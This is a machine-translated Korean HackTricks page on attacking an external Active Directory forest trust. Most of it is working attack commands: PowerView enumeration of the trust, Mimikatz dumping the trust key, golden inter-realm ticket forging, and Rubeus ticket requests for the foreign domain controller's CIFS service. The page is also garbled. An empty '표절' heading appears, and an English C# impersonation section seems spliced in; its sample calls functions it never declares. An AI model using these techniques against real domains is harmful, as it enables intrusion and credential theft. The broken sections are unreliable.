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hacktricks/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md
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외부 포레스트 도메인 - 단방향 (수신) 또는 양방향

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

이 시나리오에서 외부 도메인이 신뢰하고 있으므로 (또는 둘 다 서로 신뢰하고 있는 경우) 일부 액세스를 얻을 수 있습니다.

열거

먼저, 신뢰를 열거해야 합니다:

Get-DomainTrust
SourceName      : a.domain.local   --> Current domain
TargetName      : domain.external  --> Destination domain
TrustType       : WINDOWS-ACTIVE_DIRECTORY
TrustAttributes :
TrustDirection  : Inbound          --> Inboud trust
WhenCreated     : 2/19/2021 10:50:56 PM
WhenChanged     : 2/19/2021 10:50:56 PM

# Get name of DC of the other domain
Get-DomainComputer -Domain domain.external -Properties DNSHostName
dnshostname
-----------
dc.domain.external

# Groups that contain users outside of its domain and return its members
Get-DomainForeignGroupMember -Domain domain.external
GroupDomain             : domain.external
GroupName               : Administrators
GroupDistinguishedName  : CN=Administrators,CN=Builtin,DC=domain,DC=external
MemberDomain            : domain.external
MemberName              : S-1-5-21-3263068140-2042698922-2891547269-1133
MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain,
DC=external

# Get name of the principal in the current domain member of the cross-domain group
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133
DEV\External Admins

# Get members of the cros-domain group
Get-DomainGroupMember -Identity "External Admins" | select MemberName
MemberName
----------
crossuser

# Lets list groups members
## Check how the "External Admins" is part of the Administrators group in that DC
Get-NetLocalGroupMember -ComputerName dc.domain.external
ComputerName : dc.domain.external
GroupName    : Administrators
MemberName   : SUB\External Admins
SID          : S-1-5-21-3263068140-2042698922-2891547269-1133
IsGroup      : True
IsDomain     : True

# You may also enumerate where foreign groups and/or users have been assigned
# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.

이전의 열거에서는 crossuser 사용자가 External Admins 그룹에 속해 있으며 외부 도메인의 DC에서 관리자 액세스를 가지고 있음을 발견했습니다.

초기 접근

다른 도메인에서 사용자의 특별한 액세스를 찾지 못했다면, 여전히 AD 방법론으로 돌아가서 권한이 없는 사용자로부터 권한 상승을 시도할 수 있습니다 (예: kerberoasting과 같은 것):

-Domain 매개변수를 사용하여 Powerview 함수를 사용하여 다른 도메인을 열거할 수 있습니다.

Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName

표절

로그인

외부 도메인에 액세스 권한이 있는 사용자의 자격 증명을 사용하여 일반적인 방법으로 로그인하면 다음에 액세스할 수 있어야 합니다:

Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator

SID History 남용

SID History를 포레스트 신뢰 관계에서도 남용할 수 있습니다.

만약 사용자가 한 포레스트에서 다른 포레스트로 이동되고 SID 필터링이 비활성화되어 있다면, 다른 포레스트의 SID를 추가할 수 있으며, 이 SID는 신뢰 관계를 통해 인증할 때 사용자의 토큰에 추가됩니다.

{% hint style="warning" %} 알림: 서명 키를 다음과 같이 얻을 수 있습니다.

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local

{% endhint %}

현재 도메인의 사용자를 표현하는 TGT를 위조하여 신뢰할 수 있는 키로 서명할 수 있습니다.

# Get a TGT for the cross-domain privileged user to the other domain
Invoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'

# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:C:\path\save\ticket.kirbi /nowrap

# Now you have a TGS to access the CIFS service of the domain controller

사용자를 완전히 표현하는 방법

In this technique, we will impersonate the user in order to gain access to their resources and perform actions on their behalf. This can be useful in scenarios where we have obtained the user's credentials or have gained access to their session.

To impersonate the user, we can make use of the ImpersonateLoggedOnUser function in Windows. This function allows us to switch the current thread's security context to that of the specified user.

Here is an example of how to use the ImpersonateLoggedOnUser function in C#:

using System;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool ImpersonateLoggedOnUser(IntPtr hToken);

    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool RevertToSelf();

    static void Main(string[] args)
    {
        IntPtr tokenHandle = IntPtr.Zero;
        bool success = LogonUser("username", "domain", "password", 2, 0, ref tokenHandle);

        if (success)
        {
            success = ImpersonateLoggedOnUser(tokenHandle);

            if (success)
            {
                // Perform actions as the impersonated user

                success = RevertToSelf();
            }

            CloseHandle(tokenHandle);
        }
    }
}

In this example, we first obtain the user's token by calling the LogonUser function. We then use the obtained token to impersonate the user by calling the ImpersonateLoggedOnUser function. After performing the desired actions as the impersonated user, we revert back to the original security context by calling the RevertToSelf function.

By impersonating the user, we can access their resources and perform actions on their behalf, allowing us to bypass certain security measures and gain unauthorized access to sensitive information or systems.

# Get a TGT of the user with cross-domain permissions
Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap

# Get a TGT from the current domain for the target domain for the user
Rubeus.exe asktgs /service:krbtgt/domain.external /domain:sub.domain.local /dc:dc.sub.domain.local /ticket:doIFdD[...snip...]MuSU8= /nowrap

# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:doIFMT[...snip...]5BTA== /nowrap

# Now you have a TGS to access the CIFS service of the domain controller
htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 AWS 해킹을 전문가 수준까지 배워보세요!